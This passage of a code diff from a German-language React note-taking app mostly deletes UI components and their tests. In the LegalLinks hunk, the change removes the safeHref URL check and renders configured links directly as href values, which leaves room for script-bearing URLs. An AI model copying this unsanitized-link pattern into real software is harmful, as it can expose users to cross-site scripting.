className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl rounded-b-none border-x-0 border-b-0 border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${
anchor
? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-x)] sm:top-[var(--sheet-y)]'
? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-left)] sm:top-[var(--sheet-top)]'
: 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2'
}`}
>
-31
View File
@@ -1,31 +0,0 @@
import React, { useEffect, useRef, useState } from 'react';
interface LazyMountProps {
children: React.ReactNode;
// Shown until the place scrolls into view (keeps the page's height roughly right)
placeholder: React.ReactNode;
}
// Renders its children only once they come near the visible area, and keeps them afterwards. For lists
// of heavier parts, e.g. one live note editor per entry on a hashtag page.
export const LazyMount: React.FC<LazyMountProps> = ({ children, placeholder }) => {
const ref = useRef<HTMLDivElement>(null);
const [shown, setShown] = useState(false);
useEffect(() => {
const el = ref.current;
if (shown || !el) return;
if (typeof IntersectionObserver === 'undefined') {
setShown(true);
return;
}
const observer = new IntersectionObserver(
(entries) => {
if (entries.some((e) => e.isIntersecting)) setShown(true);
},
{ rootMargin: '400px 0px' }
);
observer.observe(el);
return () => observer.disconnect();
}, [shown]);
return <div ref={ref}>{shown ? children : placeholder}</div>;
};
+3 -16
View File
@@ -3,7 +3,6 @@ import { AuthStatus } from '../lib/types';
import { api } from '../lib/api';
import { MarkdownViewer } from '../lib/markdown';
import { ReadingModal } from './ReadingModal';
import { safeHref } from '../lib/safeUrl';
type LegalType = 'imprint' | 'privacy';
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -28,9 +27,7 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
}))
.filter((e) => e.url || e.hasContent);
const customHref = legal?.customLinkUrl && safeHref(legal.customLinkUrl);
if (entries.length === 0 && !children && !customHref) return null;
if (entries.length === 0 && !children) return null;
const openText = async (type: LegalType) => {
setError(null);
@@ -44,8 +41,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
return (
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
{entries.map((e) =>
e.url && safeHref(e.url) ? (
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
e.url ? (
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
{TITLES[e.type]}
</a>
) : (
@@ -54,16 +51,6 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
</button>
)
)}
{customHref && (
<a
href={customHref as string}
target="_blank"
rel="noopener noreferrer"
className="hover:text-main underline-offset-2 hover:underline"
>
{legal?.customLinkLabel || legal?.customLinkUrl}
</a>
)}
{children}
{error && <span className="text-status-err">{error}</span>}
{open && (
-87
View File
@@ -1,87 +0,0 @@
import React, { useEffect, useRef, useState } from 'react';
import { Check, ChevronDown } from 'lucide-react';
import { CountBadge } from './CountBadge';
export interface ListSwitcherItem {
id: string;
title: string;
icon?: string;
count?: number;
}
interface ListSwitcherProps {
// Shown on the button: the list that is open now
label: string;
items: ListSwitcherItem[];
activeId: string;
onSelect: (id: string) => void;
}
// Title of the open list in the phone header (Doku/ui-patterns.md): a tap opens all lists to switch to
export const ListSwitcher: React.FC<ListSwitcherProps> = ({ label, items, activeId, onSelect }) => {
const [open, setOpen] = useState(false);
const ref = useRef<HTMLDivElement>(null);
useEffect(() => {
if (!open) return;
const close = (e: Event) => {
if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false);
};
const onKey = (e: KeyboardEvent) => {
if (e.key === 'Escape') setOpen(false);
};
document.addEventListener('pointerdown', close);
document.addEventListener('keydown', onKey);
return () => {
document.removeEventListener('pointerdown', close);
document.removeEventListener('keydown', onKey);
};
}, [open]);
return (
<div ref={ref} className="relative min-w-0">
<button
type="button"
onClick={() => setOpen((o) => !o)}
aria-haspopup="listbox"
aria-expanded={open}
title="Liste wechseln"
className="h-11 -my-1 max-w-full flex items-center gap-1 text-sm font-semibold text-main cursor-pointer"
>
<span className="truncate">{label}</span>
<ChevronDown className={`w-4 h-4 text-muted flex-shrink-0 transition-transform ${open ? 'rotate-180' : ''}`} />
</button>
{open && (
<div
role="listbox"
aria-label="Liste wechseln"
className="absolute left-0 top-full mt-1 z-40 w-72 max-w-[calc(100vw-2rem)] max-h-[60vh] overflow-y-auto py-1 bg-panel border border-border rounded-card shadow-panel"
>
{items.map((item) => {
const active = item.id === activeId;
return (
<button
key={item.id}
type="button"
role="option"
aria-selected={active}
onClick={() => {
setOpen(false);
if (!active) onSelect(item.id);
}}
className={`w-full h-11 px-3 flex items-center gap-2 text-left text-sm cursor-pointer hover:bg-panel-elevated ${
active ? 'text-main font-semibold' : 'text-muted'
}`}
>
{item.icon && <span className="flex-shrink-0">{item.icon}</span>}
<span className="truncate flex-1">{item.title}</span>
<CountBadge count={item.count} />
{active && <Check className="w-4 h-4 text-accent flex-shrink-0" />}
</button>
);
})}
</div>
)}
</div>
);
};
-38
View File
@@ -1,38 +0,0 @@
import React, { useEffect, useState } from 'react';
import { onRealtimeStatus, RealtimeTransport } from '../lib/api';
// Connection pill in the look of the notes' header (Doku/ui-patterns.md): whether changes of others
// arrive live, and how. Phones show the short label only.
export const LivePill: React.FC = () => {
const [status, setStatus] = useState<{ connected: boolean; transport: RealtimeTransport }>({
connected: false,
transport: 'none',
});
useEffect(() => onRealtimeStatus((connected, transport) => setStatus({ connected, transport })), []);
const { connected, transport } = status;
return (
<span
className="inline-flex items-center gap-1 h-7 px-2 rounded-btn text-[11px] bg-panel text-muted flex-shrink-0"
title={
!connected
? 'Keine Live-Verbindung – Änderungen anderer erscheinen nach dem Neuladen'
: transport === 'sse'
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
: transport === 'poll'
? 'Live über Long-Polling (WebSocket und SSE werden blockiert)'
: 'Live-Verbindung über WebSocket'
}
>
<span className={`w-1.5 h-1.5 rounded-full ${connected ? 'bg-status-ok' : 'bg-status-warn'}`} />
{!connected ? (
'Offline'
) : (
<>
Live
{transport === 'poll' && <span className="hidden sm:inline">&nbsp;(Long-Polling)</span>}
</>
)}
</span>
);
};
-98
View File
@@ -1,98 +0,0 @@
import React, { useEffect, useRef, useState } from 'react';
import { Bot, Webhook } from 'lucide-react';
import { Origin } from '../lib/types';
interface OriginBadgeProps {
origin: Origin | undefined;
// When the entry was created, for the details
createdAt?: string;
// xs: Kanban cards and list items; sm: task rows, inbox, detail view; md: triage cards
size?: 'xs' | 'sm' | 'md';
}
const VIA_LABEL = { api: 'API', mcp: 'MCP' } as const;
const formatWhen = (iso?: string) => {
if (!iso) return '';
const d = new Date(iso);
if (Number.isNaN(d.getTime())) return '';
return d.toLocaleString('de-DE', { day: '2-digit', month: '2-digit', hour: '2-digit', minute: '2-digit' });
};
// originDetails: who created and who last changed the entry, as one line for tooltip and detail view
export const originDetails = (origin: Origin | undefined, createdAt?: string): string => {
if (!origin || (!origin.createdVia && !origin.changedVia)) return '';
const parts: string[] = [];
const created = formatWhen(createdAt);
if (origin.createdVia) {
const key = origin.createdKey ? ` (${origin.createdKey})` : '';
parts.push(`Angelegt per ${VIA_LABEL[origin.createdVia]}${key}${created ? ` am ${created}` : ''}`);
} else {
parts.push(`In der App angelegt${created ? ` am ${created}` : ''}`);
}
if (origin.changedVia) {
const key = origin.changedKey ? ` (${origin.changedKey})` : '';
const when = formatWhen(origin.changedAt);
parts.push(`zuletzt geändert per ${VIA_LABEL[origin.changedVia]}${key}${when ? ` am ${when}` : ''}`);
}
return parts.join(' · ');
};
const SIZE_CLASS = {
xs: 'px-1.5 py-0.2 text-[9px]',
sm: 'px-1.5 py-0.5 text-[10px]',
md: 'px-2 py-0.5 text-[11px]',
};
// One badge for entries an API key created or changed (Doku/ui-patterns.md): icon for the access
// (webhook = REST, robot = MCP) and the key's name. Hover shows the details; a tap opens them, so it
// works on phones too. It stays for good.
export const OriginBadge: React.FC<OriginBadgeProps> = ({ origin, createdAt, size = 'sm' }) => {
const [open, setOpen] = useState(false);
const ref = useRef<HTMLSpanElement>(null);
useEffect(() => {
if (!open) return;
const close = (e: Event) => {
if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false);
};
document.addEventListener('pointerdown', close);
return () => document.removeEventListener('pointerdown', close);
}, [open]);
const via = origin?.createdVia || origin?.changedVia;
if (!origin || !via) return null;
const key = origin.createdVia ? origin.createdKey : origin.changedKey;
const label = key || VIA_LABEL[via];
const details = originDetails(origin, createdAt);
const Icon = via === 'mcp' ? Bot : Webhook;
return (
<span ref={ref} className="relative inline-flex flex-shrink-0 max-w-full">
<button
type="button"
draggable={false}
onMouseDown={(e) => e.stopPropagation()}
onClick={(e) => {
e.stopPropagation();
setOpen((o) => !o);
}}
title={details}
aria-label={details}
aria-expanded={open}
className={`relative border border-border bg-canvas text-muted rounded-btn font-medium inline-flex items-center gap-1 max-w-[12rem] cursor-pointer hover:text-main before:absolute before:content-[''] before:inset-x-0 before:-inset-y-3 sm:before:hidden ${SIZE_CLASS[size]}`}
>
<Icon className="w-2.5 h-2.5 text-accent flex-shrink-0" />
<span className="truncate">{label}</span>
</button>
{open && (
<span
role="tooltip"
className="absolute left-0 top-full mt-1 z-40 w-64 max-w-[80vw] p-2 bg-panel border border-border rounded-card shadow-panel text-[11px] leading-snug text-main whitespace-normal"
>
{details}
</span>
)}
</span>
);
};
@@ -1,116 +0,0 @@
import React, { useEffect, useState } from 'react';
import { ArrowRight, CheckSquare, Inbox, ShoppingCart, X } from 'lucide-react';
import { api, triggerHaptic } from '../lib/api';
import type { SharedList } from '../lib/types';
// After sharing from another app: the items are already in the Quick Dump (nothing to tap), and for a
// few seconds they can be sent on as a task or onto a list instead – one tap, the flow stays as fast.
const AUTO_HIDE_MS = 8000;
interface SharedImportToastProps {
thoughtIds: string[]; // created on the server (offline captures have no id yet and get no buttons)
lists: SharedList[];
onClose: () => void;
onConverted: (message: string) => void;
}
export const SharedImportToast: React.FC<SharedImportToastProps> = ({ thoughtIds, lists, onClose, onConverted }) => {
const [choosingList, setChoosingList] = useState(false);
const [busy, setBusy] = useState(false);
const [failed, setFailed] = useState(false);
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const count = thoughtIds.length;
// Disappears on its own unless a list is being picked or a conversion runs
useEffect(() => {
if (choosingList || busy) return;
const timer = window.setTimeout(onClose, AUTO_HIDE_MS);
return () => window.clearTimeout(timer);
}, [choosingList, busy, onClose]);
const convert = async (convertTo: 'task' | 'list_item', list?: SharedList) => {
triggerHaptic(15);
setBusy(true);
setFailed(false);
try {
for (const id of thoughtIds) {
await api.triageAction(id, 'keep', { convertTo, targetListId: list?.id });
}
const what = count === 1 ? 'Eintrag' : `${count} Einträge`;
onConverted(convertTo === 'task' ? `${count === 1 ? 'Als Aufgabe' : `${count} Aufgaben`} angelegt` : `${what} auf „${list?.title}“`);
} catch {
setFailed(true);
setBusy(false);
}
};
const toList = () => {
if (writableLists.length === 1) convert('list_item', writableLists[0]);
else setChoosingList(true);
};
const big =
'min-h-[52px] px-3 py-2 rounded-xl text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98 disabled:opacity-50';
return (
<>
{/* Tapping anywhere else closes it (transparent, the page stays visible) */}
<div className="fixed inset-0 z-[59]" onClick={onClose} aria-hidden />
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] w-[calc(100vw-1.5rem)] max-w-md panel-surface shadow-panel overflow-hidden p-4 space-y-3 animate-in fade-in slide-in-from-bottom-2 duration-200"
>
<button
type="button"
onClick={onClose}
aria-label="Schließen"
className="absolute top-2 right-2 h-8 w-8 flex items-center justify-center rounded-btn text-faint hover:text-main"
>
<X className="w-4 h-4" />
</button>
<div className="pr-8">
<p className="flex items-center gap-2 text-base font-semibold text-main">
<Inbox className="w-5 h-5 text-accent shrink-0" />
{count === 1 ? 'Im Quick Dump abgelegt' : `${count} Einträge im Quick Dump abgelegt`}
</p>
<p className="text-xs text-muted mt-1">
{choosingList ? 'Auf welche Liste?' : 'Oder gleich woanders hin:'}
</p>
</div>
{failed && <p className="text-xs text-status-err">Umwandeln hat nicht geklappt – der Eintrag bleibt im Quick Dump.</p>}
{!choosingList ? (
<div className={`grid gap-2 ${writableLists.length > 0 ? 'grid-cols-2' : 'grid-cols-1'}`}>
{writableLists.length > 0 && (
<button type="button" disabled={busy} onClick={toList} className={`${big} bg-canvas border border-border text-main`}>
<ShoppingCart className="w-4 h-4 text-accent" />
<span>Liste</span>
</button>
)}
<button type="button" disabled={busy} onClick={() => convert('task')} className={`${big} bg-accent text-on-accent`}>
<CheckSquare className="w-4 h-4" />
<span>Aufgabe</span>
<ArrowRight className="w-4 h-4" />
</button>
</div>
) : (
<div className="grid grid-cols-2 gap-2">
{writableLists.map((l) => (
<button
key={l.id}
type="button"
disabled={busy}
onClick={() => convert('list_item', l)}
className={`${big} bg-canvas border border-border text-main`}
>
<span>{l.icon}</span>
<span className="truncate">{l.title}</span>
</button>
))}
</div>
)}
</div>
</>
);
};
@@ -1,28 +0,0 @@
import React, { useMemo } from 'react';
// Safely render snippet containing <mark>...</mark> without dangerouslySetInnerHTML
export const SnippetRenderer: React.FC<{ snippet: string }> = ({ snippet }) => {
const parts = useMemo(() => {
if (!snippet) return [];
return snippet.split(/(<mark>[\s\S]*?<\/mark>)/g);
}, [snippet]);
return (
<span className="text-muted text-xs line-clamp-2 leading-relaxed">
{parts.map((part, i) => {
if (part.startsWith('<mark>') && part.endsWith('</mark>')) {
const text = part.slice(6, -7);
return (
<mark
key={i}
className="bg-accent-dim text-accent font-semibold px-0.5 rounded"
>
{text}
</mark>
);
}
return <span key={i}>{part}</span>;
})}
</span>
);
};
@@ -1,118 +0,0 @@
import React, { useState } from 'react';
import { Monitor, Moon, Sun } from 'lucide-react';
import {
AVAILABLE_THEMES,
getFollowSystem,
resolveTheme,
setFollowSystem,
THEME_FAMILIES,
ThemeId,
ThemeOption,
} from '../lib/theme';
interface ThemeQuickPickerProps {
activeTheme: ThemeId;
/** All themes including the user's own (shown as small chips) */
themes: ThemeOption[];
onChange: (id: ThemeId) => void;
/** Bigger touch targets in the phone sheet */
touch?: boolean;
}
// Compact switcher for the user menu: one dot per colour family plus light/dark; own themes below
export const ThemeQuickPicker: React.FC<ThemeQuickPickerProps> = ({ activeTheme, themes, onChange, touch = false }) => {
const active = AVAILABLE_THEMES.find((t) => t.id === activeTheme);
const mode = active?.mode ?? 'dark';
const customThemes = themes.filter((t) => t.isCustom);
const dot = touch ? 'w-9 h-9' : 'w-7 h-7';
// Kept in state: choosing "System" may not change the theme, but the selection must still show
const [followSystem, setFollow] = useState(getFollowSystem);
const pick = (id: ThemeId) => onChange(resolveTheme(id));
return (
<div className="space-y-2">
<div className="flex items-center justify-between gap-1">
<div className="flex w-full items-center justify-between" role="radiogroup" aria-label="Farbfamilie">
{THEME_FAMILIES.map((f) => {
const preview = AVAILABLE_THEMES.find((t) => t.id === (mode === 'light' ? f.light : f.dark));
const selected = active?.family === f.id;
return (
<button
key={f.id}
type="button"
role="radio"
aria-checked={selected}
onClick={() => pick(mode === 'light' ? f.light : f.dark)}
title={f.name}
className={`${dot} rounded-full flex items-center justify-center transition-transform active:scale-95 cursor-pointer ${
selected ? 'ring-2 ring-accent ring-offset-2 ring-offset-panel' : 'hover:scale-105'
}`}
style={{ backgroundColor: preview?.previewBg }}
>
<span className="w-3 h-3 rounded-full" style={{ backgroundColor: preview?.previewAccent }} />
</button>
);
})}
</div>
</div>
{/* Own row: three labelled segments, so it fits narrow menus */}
<div className="grid grid-cols-3 rounded-full bg-panel-elevated p-0.5" role="radiogroup" aria-label="Hell oder dunkel">
{(['light', 'dark', 'auto'] as const).map((m) => {
const family = active?.family ? THEME_FAMILIES.find((f) => f.id === active.family) : undefined;
const selected = m === 'auto' ? followSystem : !followSystem && !!active && mode === m;
const disabled = !family;
return (
<button
key={m}
type="button"
role="radio"
aria-checked={selected}
disabled={disabled}
onClick={() => {
if (!family) return;
setFollowSystem(m === 'auto');
setFollow(m === 'auto');
onChange(m === 'auto' ? resolveTheme(family.dark) : family[m]);
}}
title={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
aria-label={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
className={`${touch ? 'h-9' : 'h-7'} rounded-full flex items-center justify-center gap-1 text-[11px] font-medium transition-colors cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed ${
selected ? 'bg-panel text-accent shadow-sm' : 'text-muted hover:text-main'
}`}
>
{m === 'light' ? (
<Sun className="w-3.5 h-3.5" />
) : m === 'dark' ? (
<Moon className="w-3.5 h-3.5" />
) : (
<Monitor className="w-3.5 h-3.5" />
)}
<span>{m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'System'}</span>
</button>
);
})}
</div>
{customThemes.length > 0 && (
<div className="flex flex-wrap gap-1">
{customThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => {
setFollowSystem(false);
setFollow(false);
onChange(t.id);
}}
className={`h-7 px-2 rounded-full text-[11px] flex items-center gap-1.5 border transition-colors cursor-pointer ${
activeTheme === t.id ? 'border-accent text-main' : 'border-border text-muted hover:text-main'
}`}
>
<span className="w-2.5 h-2.5 rounded-full" style={{ backgroundColor: t.previewAccent }} />
<span className="truncate max-w-[8rem]">{t.name}</span>
</button>
))}
</div>
)}
</div>
);
};
@@ -1,51 +0,0 @@
import React from 'react';
import { RefreshCw } from 'lucide-react';
import { APP_VERSION } from '../version';
import type { AvailableUpdate } from '../lib/useUpdateCheck';
// Shown when the server got a new MindSift (lib/useUpdateCheck): reloading fetches the new app (the
// service worker loads pages from the network first).
export const UpdateAvailableModal: React.FC<{ update: AvailableUpdate; onLater: () => void }> = ({ update, onLater }) => (
<div className="fixed inset-0 !m-0 z-[70] modal-overlay flex items-center justify-center p-4" onClick={onLater}>
<div
role="dialog"
aria-modal="true"
aria-labelledby="update-title"
onClick={(e) => e.stopPropagation()}
className="w-full max-w-sm panel-surface shadow-panel p-5 space-y-4"
>
<div className="flex items-start gap-3">
<div className="w-9 h-9 bg-accent text-on-accent rounded-btn flex items-center justify-center shrink-0">
<RefreshCw className="w-4 h-4" />
</div>
<div className="min-w-0 space-y-1">
<h3 id="update-title" className="text-sm font-semibold text-main">
Neue Version verfügbar
</h3>
<p className="text-xs text-muted leading-relaxed">
Der Server wurde aktualisiert
{update.version && update.version !== APP_VERSION ? (
<>
{' '}auf <span className="font-mono text-main">{update.version}</span>
</>
) : null}
. Lade die Seite neu, um sie zu nutzen; ungespeicherte Eingaben in offenen Feldern gehen dabei verloren.
</p>
</div>
</div>
<div className="flex gap-2 sm:justify-end">
<button type="button" onClick={onLater} className="btn-action flex-1 sm:flex-none h-11 sm:h-8 px-3 text-sm sm:text-xs">
Später
</button>
<button
type="button"
autoFocus
onClick={() => window.location.reload()}
className="btn-primary flex-1 sm:flex-none h-11 sm:h-8 px-4 text-sm sm:text-xs font-semibold"
>
Jetzt aktualisieren
</button>
</div>
</div>
</div>
);
@@ -1,63 +0,0 @@
import React, { useRef } from 'react';
import { Loader2, Mic, MicOff } from 'lucide-react';
import { useVoiceInput } from '../lib/useVoiceInput';
import { triggerHaptic } from '../lib/api';
import { VoiceWave } from './VoiceWave';
interface VoiceInputButtonProps {
// The field's text; dictated words are appended to what was there when the recording started
value: string;
onChange: (text: string) => void;
onError?: (message: string) => void;
// Field to focus once the text is final
focusRef?: React.RefObject<HTMLInputElement | HTMLTextAreaElement>;
className?: string;
}
// Microphone inside an input row, like the one in Quick Dump (Doku/ui-patterns.md). Hidden when voice
// input is off or the browser cannot do it (e.g. Firefox without an own Whisper server).
export const VoiceInputButton: React.FC<VoiceInputButtonProps> = ({ value, onChange, onError, focusRef, className = '' }) => {
const baseRef = useRef('');
const voice = useVoiceInput({
onText: (text, final) => {
const base = baseRef.current;
if (text) onChange(base ? `${base} ${text}` : text);
if (final) focusRef?.current?.focus();
},
onError,
});
if (!voice.available) return null;
const listening = voice.state === 'listening';
const transcribing = voice.state === 'transcribing';
return (
<span className={`inline-flex items-center gap-1 flex-shrink-0 ${className}`}>
{listening && voice.mode === 'server' && <VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />}
<button
type="button"
onMouseDown={(e) => e.preventDefault()}
onClick={() => {
if (voice.state === 'idle') {
baseRef.current = value.trim();
triggerHaptic(20);
}
voice.toggle();
}}
disabled={transcribing}
title={listening ? 'Aufnahme beenden' : transcribing ? 'Wird erkannt…' : 'Spracheingabe'}
aria-label={listening ? 'Aufnahme beenden' : transcribing ? 'Wird erkannt…' : 'Spracheingabe'}
className={`w-9 h-9 sm:w-7 sm:h-7 rounded-full flex items-center justify-center transition-colors ${
listening || transcribing ? 'bg-accent-dim text-accent' : 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
{transcribing ? (
<Loader2 className="w-3.5 h-3.5 animate-spin" />
) : listening ? (
<MicOff className="w-3.5 h-3.5" />
) : (
<Mic className="w-3.5 h-3.5" />
)}
</button>
</span>
);
};
-58
View File
@@ -1,58 +0,0 @@
import React, { useEffect, useRef } from 'react';
interface VoiceWaveProps {
/** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
getLevel: () => number | null;
bars?: number;
/** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
className?: string;
}
// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
// not re-render 60 times a second.
export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
const getLevelRef = useRef(getLevel);
getLevelRef.current = getLevel;
useEffect(() => {
const history: number[] = new Array(bars).fill(0);
let frame = 0;
let raf = 0;
const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
const tick = () => {
frame++;
const measured = getLevelRef.current();
const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
// Newest level enters in the middle and travels outwards
if (frame % 3 === 0) {
history.pop();
history.unshift(level);
}
const mid = Math.floor(bars / 2);
barRefs.current.forEach((el, i) => {
if (!el) return;
const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
});
raf = requestAnimationFrame(tick);
};
raf = requestAnimationFrame(tick);
return () => cancelAnimationFrame(raf);
}, [bars]);
return (
<span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
{Array.from({ length: bars }, (_, i) => (
<span
key={i}
ref={(el) => {
barRefs.current[i] = el;
}}
className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
style={{ transform: 'scaleY(0.15)' }}
/>
))}
</span>
);
};
@@ -1,25 +0,0 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react';
import { ConfirmPopover } from '../ConfirmPopover';
describe('ConfirmPopover', () => {
it('confirms with its button, which has the focus (Enter)', () => {
const onConfirm = vi.fn();
render(<ConfirmPopover x={100} y={100} message="Ordner löschen?" confirmLabel="In den Papierkorb" onConfirm={onConfirm} onCancel={vi.fn()} />);
const button = screen.getByRole('button', { name: 'In den Papierkorb' });
expect(document.activeElement).toBe(button);
fireEvent.click(button);
expect(onConfirm).toHaveBeenCalledTimes(1);
});
it('closes without confirming on Abbrechen, Escape or a click outside', () => {
const onConfirm = vi.fn();
const onCancel = vi.fn();
render(<ConfirmPopover x={100} y={100} message="Ordner löschen?" confirmLabel="Löschen" onConfirm={onConfirm} onCancel={onCancel} />);
fireEvent.click(screen.getByRole('button', { name: 'Abbrechen' }));
fireEvent.keyDown(document, { key: 'Escape' });
fireEvent.pointerDown(document.body);
expect(onCancel).toHaveBeenCalledTimes(3);
expect(onConfirm).not.toHaveBeenCalled();
});
});
@@ -1,44 +0,0 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react';
import { ListSwitcher } from '../ListSwitcher';
const items = [
{ id: 'a', title: 'Haushalt', icon: '🏠', count: 3 },
{ id: 'b', title: 'Arbeit' },
];
describe('ListSwitcher', () => {
it('opens all lists on a tap and switches to the chosen one', () => {
const onSelect = vi.fn();
render(<ListSwitcher label="🏠 Haushalt" items={items} activeId="a" onSelect={onSelect} />);
expect(screen.queryByRole('listbox')).toBeNull();
fireEvent.click(screen.getByRole('button', { name: /Haushalt/ }));
const options = screen.getAllByRole('option');
expect(options).toHaveLength(2);
expect(options[0].getAttribute('aria-selected')).toBe('true');
fireEvent.click(screen.getByRole('option', { name: /Arbeit/ }));
expect(onSelect).toHaveBeenCalledWith('b');
expect(screen.queryByRole('listbox')).toBeNull();
});
it('closes without a change on the open list, Escape or a tap outside', () => {
const onSelect = vi.fn();
render(<ListSwitcher label="🏠 Haushalt" items={items} activeId="a" onSelect={onSelect} />);
const button = screen.getByRole('button', { name: /Haushalt/ });
fireEvent.click(button);
fireEvent.click(screen.getByRole('option', { name: /Haushalt/ }));
expect(screen.queryByRole('listbox')).toBeNull();
fireEvent.click(button);
fireEvent.keyDown(document, { key: 'Escape' });
expect(screen.queryByRole('listbox')).toBeNull();
fireEvent.click(button);
fireEvent.pointerDown(document.body);
expect(screen.queryByRole('listbox')).toBeNull();
expect(onSelect).not.toHaveBeenCalled();
});
});
@@ -1,35 +0,0 @@
import { describe, it, expect } from 'vitest';
import { render, fireEvent } from '@testing-library/react';
import { OriginBadge, originDetails } from '../OriginBadge';
describe('OriginBadge', () => {
it('shows nothing for entries no key touched', () => {
expect(render(<OriginBadge origin={undefined} />).container.firstChild).toBeNull();
expect(render(<OriginBadge origin={{}} />).container.firstChild).toBeNull();
});
it('names the key that created the entry, else the one that changed it', () => {
const created = render(<OriginBadge origin={{ createdVia: 'api', createdKey: 'Home Assistant', changedVia: 'mcp', changedKey: 'Claude Code' }} />);
expect(created.container.textContent).toBe('Home Assistant');
const changed = render(<OriginBadge origin={{ changedVia: 'mcp', changedKey: 'Claude Code' }} />);
expect(changed.container.textContent).toBe('Claude Code');
const old = render(<OriginBadge origin={{ createdVia: 'mcp' }} />);
expect(old.container.textContent).toBe('MCP');
});
it('opens the details on tap', () => {
const { getByRole, queryByRole } = render(
<OriginBadge origin={{ changedVia: 'mcp', changedKey: 'Claude Code', changedAt: '2026-11-01T09:40:00Z' }} createdAt="2026-10-31T08:00:00Z" />
);
expect(queryByRole('tooltip')).toBeNull();
fireEvent.click(getByRole('button'));
const tip = getByRole('tooltip').textContent || '';
expect(tip).toContain('In der App angelegt');
expect(tip).toContain('zuletzt geändert per MCP (Claude Code)');
});
it('describes both created and changed', () => {
const text = originDetails({ createdVia: 'api', createdKey: 'HA', changedVia: 'mcp', changedKey: 'Claude Code' }, '2026-11-01T08:12:00Z');
expect(text).toMatch(/^Angelegt per API \(HA\) am .* · zuletzt geändert per MCP \(Claude Code\)$/);
});
});
@@ -1,61 +0,0 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { SharedImportToast } from '../SharedImportToast';
import { api } from '../../lib/api';
import { SharedList } from '../../lib/types';
const list = (id: string, title: string, role: string, isOwner = false): SharedList => ({
id, title, icon: '🛒', listType: 'shopping', isOwner, role, items: [],
createdAt: '2026-10-31T10:00:00Z', updatedAt: '2026-10-31T10:00:00Z',
});
describe('SharedImportToast (after sharing into MindSift)', () => {
beforeEach(() => {
vi.restoreAllMocks();
});
it('sends every shared entry on as a task', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
const onConverted = vi.fn();
render(<SharedImportToast thoughtIds={['th_1', 'th_2']} lists={[]} onClose={() => {}} onConverted={onConverted} />);
expect(screen.getByText('2 Einträge im Quick Dump abgelegt')).toBeTruthy();
expect(screen.queryByText('Liste')).toBeNull(); // no writable list, no list button
fireEvent.click(screen.getByText('Aufgabe'));
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('2 Aufgaben angelegt'));
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'task', targetListId: undefined });
expect(spy).toHaveBeenCalledWith('th_2', 'keep', { convertTo: 'task', targetListId: undefined });
});
it('puts it straight onto the only writable list', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
const onConverted = vi.fn();
render(
<SharedImportToast
thoughtIds={['th_1']}
lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'WG-Archiv', 'viewer')]}
onClose={() => {}}
onConverted={onConverted}
/>
);
fireEvent.click(screen.getByText('Liste'));
await waitFor(() => expect(onConverted).toHaveBeenCalledWith('Eintrag auf „Wocheneinkauf“'));
expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l1' });
});
it('lets you pick among several lists, read-only ones left out', async () => {
const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
render(
<SharedImportToast
thoughtIds={['th_1']}
